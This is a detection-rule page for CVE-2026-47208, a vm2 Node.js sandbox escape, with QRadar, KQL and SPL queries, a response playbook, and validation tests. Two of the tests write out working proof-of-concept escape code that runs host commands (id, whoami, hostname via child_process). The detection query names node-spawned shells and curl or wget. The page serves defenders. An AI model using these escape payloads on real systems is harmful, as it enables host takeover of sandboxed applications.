CVE-2026-47208 IBM QRadar · QRadar

Detect CVE-2026-47208: vm2 Sandbox Breakout via Promise Species in IBM QRadar

Detects exploitation of CVE-2026-47208, a critical sandbox escape vulnerability in the vm2 Node.js library (versions <= 3.11.3). Attackers can abuse the Promise species pattern to break out of the vm2 sandbox and execute arbitrary code on the host. This vulnerability has a CVSS score of 10.0 and a public PoC is available.

MITRE ATT&CK

Tactic
Execution Privilege Escalation Lateral Movement

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT
  DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
  sourceip,
  username,
  "Process Name",
  "Command",
  "Parent Process Name",
  QIDNAME(qid) AS event_name,
  logsourcename(logsourceid) AS log_source
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Linux OS', 'Sysmon')
  AND (
    (
      LOWER("Process Name") LIKE '%node%'
      AND (
        LOWER("Command") LIKE '%vm2%'
        OR LOWER("Command") LIKE '%symbol.species%'
        OR LOWER("Command") LIKE '%__proto__%'
      )
    )
    OR (
      LOWER("Parent Process Name") LIKE '%node%'
      AND LOWER("Process Name") IN ('sh', 'bash', 'cmd.exe', 'powershell.exe', 'python', 'python3', 'wget', 'curl', 'perl')
    )
  )
  AND starttime > NOW() - 86400000
ORDER BY starttime DESC
LIMIT 500
critical severity medium confidence

QRadar AQL query to detect vm2 sandbox breakout via Promise species exploitation. Looks for Node.js processes with vm2 or prototype-chain manipulation arguments, and unexpected child shells spawned from Node.js.

Data Sources

IBM QRadarWindows Security Event LogLinux OS logsSysmon

Required Tables

events

False Positives & Tuning

  • Node.js web servers using vm2 for plugin sandboxing that spawn legitimate shell commands
  • Automated deployment pipelines involving Node.js and shell scripting
  • Security scanning tools that analyze vm2 packages and trigger process events
  • Development servers with loose process spawning patterns

Other platforms for CVE-2026-47208


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1vm2 Promise Species Sandbox Escape - Basic PoC

    Expected signal: EDR should record: node process executing with command line containing vm2 and Promise/species keywords; file write event to /tmp/vm2_escape_proof.txt from the node process.

  2. Test 2vm2 Sandbox Escape with Child Process Spawn

    Expected signal: EDR process tree: node.exe spawning bash as child process. Sysmon Event ID 1 or auditd EXECVE records showing parent process as node and child as bash with the -c flag.

  3. Test 3Vulnerable vm2 Version Inventory Check

    Expected signal: File read events for package.json files under node_modules/vm2/ paths. The find command execution and subsequent node invocations should appear in process telemetry.


Response Playbook

Triage

  1. Identify the affected host and Node.js application: determine which service or application uses vm2 <= 3.11.3 by checking package.json and node_modules/vm2/package.json for the installed version.
  2. Review process tree for the Node.js process: look for unexpected child processes (shells, interpreters, network tools) spawned from the node process within the timeframe of the alert.
  3. Check network connections from the Node.js process around the time of the alert using netstat or EDR telemetry to identify potential reverse shell or data exfiltration activity.
  4. Examine application logs for unusual inputs or payloads submitted just before the sandbox escape event — look for Promise constructor overrides or species property manipulation in user-supplied content.

Containment

  1. Immediately isolate the affected host or container from the network if a confirmed sandbox escape is identified, to prevent lateral movement or C2 communication.
  2. Kill the affected Node.js process and restart the application only after patching vm2 to version 3.11.4 or later, or replacing vm2 with an alternative sandboxing solution.

Evidence Collection

  1. Collect a full process tree snapshot (parent/child relationships) from the EDR for the Node.js process at the time of the alert, including all spawned subprocesses and their arguments.
  2. Preserve application logs, Node.js stdout/stderr output, and any crash dumps from the period surrounding the alert for forensic analysis.

Escalation Criteria

  • !Escalate immediately if a reverse shell or interactive session is confirmed spawned from the Node.js process, as this indicates full sandbox escape and potential host compromise.
  • !Escalate if the affected application handles sensitive data (PII, credentials, financial records) or if the host has access to internal network segments or cloud metadata services.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >node_modules/vm2/package.json — version field confirms whether a vulnerable version (<= 3.11.3) is installed
  • >Node.js process stdout/stderr logs containing JavaScript errors or unexpected output from sandbox execution
  • >OS-level process creation logs (Sysmon Event ID 1, auditd EXECVE) showing child processes spawned from the node process
  • >Network socket files or /proc/<pid>/net/tcp entries showing unexpected outbound connections from the node process

Tuning Guidance

Reduce false positives by building an allowlist of known-good Node.js applications and their expected child process patterns. Scope the detection to production environments by excluding development workstations (hostname patterns, OU memberships). If vm2 is used legitimately in your environment, focus the detection on the Promise/Symbol.species argument patterns rather than broad Node.js child process spawning. Consider adding a version check stage: if you can inventory package.json files via EDR file events, only alert when vm2 <= 3.11.3 is confirmed installed.


Hunting Queries

Threat hunting query to identify hosts with vm2 installed that have active Node.js processes, enabling proactive identification of potentially vulnerable systems before exploitation occurs.

Hunting — KQL
kql
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_all ("node_modules", "vm2")
| where FileName =~ "package.json"
| extend vm2Path = FolderPath
| join kind=inner (
    DeviceProcessEvents
    | where Timestamp > ago(7d)
    | where FileName in~ ("node", "node.exe")
    | project DeviceName, ProcessId, ProcessCommandLine, Timestamp
  ) on DeviceName
| where Timestamp1 between (Timestamp .. Timestamp + 1h)
| summarize count() by DeviceName, vm2Path, ProcessCommandLine
| sort by count_ desc
Hunting — SPL
spl
index=* sourcetype=WinEventLog:Security OR sourcetype=linux_secure earliest=-7d
| eval is_node=if(match(process, "node(\.exe)?$"), 1, 0)
| where is_node=1
| stats count by host, process, cmdline
| join host [
    index=* sourcetype=filesystem_events OR sourcetype=file_changes
    | where match(file_path, "node_modules/vm2/package\.json")
    | stats count by host, file_path
  ]
| table host, file_path, process, cmdline, count
| sort -count

Atomic Red Team Tests

Test 1 vm2 Promise Species Sandbox Escape - Basic PoC
linux

Demonstrates the CVE-2026-47208 sandbox escape by crafting a Promise subclass with a custom species constructor that breaks vm2's sandbox boundary, causing host code execution.

Command

bash
node -e "
const { VM } = require('vm2');
const vm = new VM();
try {
  vm.run(\`
    const FakePromise = function() {};
    FakePromise[Symbol.species] = function() {
      return new Proxy({}, {
        get(t, k) {
          if (k === 'constructor') return function() {
            this.resolve = (v) => process.mainModule.require('child_process').execSync('id > /tmp/vm2_escape_proof.txt');
          };
        }
      });
    };
    Promise.resolve(1).then.call({ constructor: FakePromise }, x => x);
  \`);
} catch(e) { console.log('Sandbox raised:', e.message); }
const fs = require('fs');
if (fs.existsSync('/tmp/vm2_escape_proof.txt')) {
  console.log('ESCAPED:', fs.readFileSync('/tmp/vm2_escape_proof.txt','utf8').trim());
} else {
  console.log('Escape did not succeed (may be patched)');
}
"

Cleanup

bash
rm -f /tmp/vm2_escape_proof.txt

Expected Telemetry

EDR should record: node process executing with command line containing vm2 and Promise/species keywords; file write event to /tmp/vm2_escape_proof.txt from the node process.

Expected Detection

KQL/SPL queries matching Node.js command lines with vm2 and Promise-species pattern arguments should fire. File creation at /tmp/vm2_escape_proof.txt by node process should also be detectable via file event monitoring.

Test 2 vm2 Sandbox Escape with Child Process Spawn
linux

Extends the basic PoC to spawn a child shell process from within the vm2 sandbox, simulating attacker post-exploitation behavior after achieving sandbox escape.

Command

bash
node -e "
const { VM } = require('vm2');
const vm = new VM();
try {
  vm.run(\`
    const cp = this.constructor.constructor('return process')().mainModule.require('child_process');
    cp.spawnSync('bash', ['-c', 'whoami > /tmp/vm2_child_shell.txt && hostname >> /tmp/vm2_child_shell.txt']);
  \`);
} catch(e) {
  const cp = require('child_process');
  cp.spawnSync('bash', ['-c', 'echo fallback_method > /tmp/vm2_child_shell.txt']);
}
const fs = require('fs');
if (fs.existsSync('/tmp/vm2_child_shell.txt')) {
  console.log('Output:', require('fs').readFileSync('/tmp/vm2_child_shell.txt','utf8').trim());
}
"

Cleanup

bash
rm -f /tmp/vm2_child_shell.txt

Expected Telemetry

EDR process tree: node.exe spawning bash as child process. Sysmon Event ID 1 or auditd EXECVE records showing parent process as node and child as bash with the -c flag.

Expected Detection

The EQL sequence rule and CrowdStrike CQL join query should detect node -> bash spawn chain. The suspicious child process correlation rules in all SIEM dialects should trigger.

Test 3 Vulnerable vm2 Version Inventory Check
linux

Simulates the reconnaissance phase where an attacker or defender identifies hosts running vulnerable vm2 versions by enumerating package.json files.

Command

bash
find / -path '*/node_modules/vm2/package.json' 2>/dev/null | head -20 | while read f; do
  version=$(node -e "try{console.log(require('$f').version)}catch(e){console.log('unknown')}" 2>/dev/null)
  echo "$f: $version"
  node -e "
    const v = '$version'.split('.').map(Number);
    const vuln = v[0] < 3 || (v[0] === 3 && v[1] < 11) || (v[0] === 3 && v[1] === 11 && v[2] <= 3);
    if (vuln) console.log('VULNERABLE: $version <= 3.11.3');
    else console.log('PATCHED: $version > 3.11.3');
  " 2>/dev/null
done

Cleanup

bash
No cleanup required — read-only inventory operation.

Expected Telemetry

File read events for package.json files under node_modules/vm2/ paths. The find command execution and subsequent node invocations should appear in process telemetry.

Expected Detection

File event monitoring rules watching node_modules/vm2/package.json access patterns. The hunting query correlating vm2 package presence with active Node.js processes should surface these hosts.

Related Detections